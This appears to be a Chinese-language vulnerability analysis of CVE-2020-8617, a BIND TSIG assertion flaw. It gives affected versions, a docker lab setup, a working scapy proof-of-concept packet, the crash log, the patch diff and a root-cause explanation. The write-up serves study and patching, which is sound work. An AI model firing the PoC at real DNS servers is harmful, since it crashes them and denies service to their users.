简介
CVE-2020-8617是由检查 TSIG 合理性的验证代码中的逻辑错误引发的,攻击者可以通过精心构造的payload触发 tsig.c 的失败断言,导致拒绝服务攻击。
时间线
- 报告时间:
- 修复时间:
- 披露时间: 2020-5-19
漏洞影响范围
- 9.0.0 - 9.11.18
- 9.12.0 - 9.12.4-P2
- 9.14.0 - 9.14.11
- 9.16.0 - 9.16.2
- 9.13 / 9.15 / 9.17.0 development branch
- 9.9.3-S1 - 9.11.18-S1
复现
复现环境
1
| docker run --rm --name cve-2020-8617 -it -p 53:53/udp knqyf263/cve-2020-8617
|
PoC
1 2 3 4 5 6 7 8
| from scapy.all import DNS, DNSQR, IP, sr1, UDP, DNSRRTSIG, DNSRROPT
tsig = DNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256", rclass=255, mac_len=0, mac_data="", time_signed=0, fudge=300, error=16)
dns_req = IP(dst='127.0.0.1')/UDP(dport=53)/DNS(rd=1, ad=1, qd=DNSQR(qname='www.example.com'), ar=tsig) answer = sr1(dns_req, verbose=0)
print(answer[DNS].summary())
|
漏洞分析
漏洞触发点是在 tsig.c dns_tsig_sign 函数。
1 2 3 4 5 6 7 8
| isc_result_t dns_tsig_sign(dns_message_t *msg) { ... if (response && msg->querytsig != NULL) { dns_rdata_t querytsigrdata = DNS_RDATA_INIT; INSIST(msg->verified_sig); ... }
|
运行PoC后报错为如下:
1 2 3
| 01-Jul-2020 11:00:20.386 client @0x7fef400c4900 127.0.0.1#40631: request has invalid signature: TSIG local-ddns: tsig verify failure (BADTIME) 01-Jul-2020 11:00:20.386 tsig.c:869: INSIST(msg->verified_sig) failed 01-Jul-2020 11:00:20.386 exiting (due to assertion failure)
|
此时程序停止运行。
漏洞的 Patch 在 tsig.c 的 dns_tsig_verify 函数中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| @@ -1360,8 +1360,8 @@ dns_tsig_verify(isc_buffer_t *source, dns_message_t *msg, goto cleanup_context; } msg->verified_sig = 1; } else if (tsig.error != dns_tsigerror_badsig && tsig.error != dns_tsigerror_badkey) } else if (!response || (tsig.error != dns_tsigerror_badsig && tsig.error != dns_tsigerror_badkey)) { tsig_log(msg->tsigkey, 2, "signature was empty"); return (DNS_R_TSIGVERIFYFAILURE); @@ -1409,7 +1409,7 @@ dns_tsig_verify(isc_buffer_t *source, dns_message_t *msg, } }
if (tsig.error != dns_rcode_noerror) { if (response && tsig.error != dns_rcode_noerror) { msg->tsigstatus = tsig.error; if (tsig.error == dns_tsigerror_badtime) { ret = DNS_R_CLOCKSKEW;
|
其中 if 条件的 response 代表是请求还是响应,if else 之前的条件为 if (tsig.siglen > 0) { 。
经过比较并结合PoC很容易分析出,这里是因为没有处理请求中 siglen 为0的情况,dns_tsig_verify 函数没有返回异常,代码继续运行,最后造成了校验不通过。
参考链接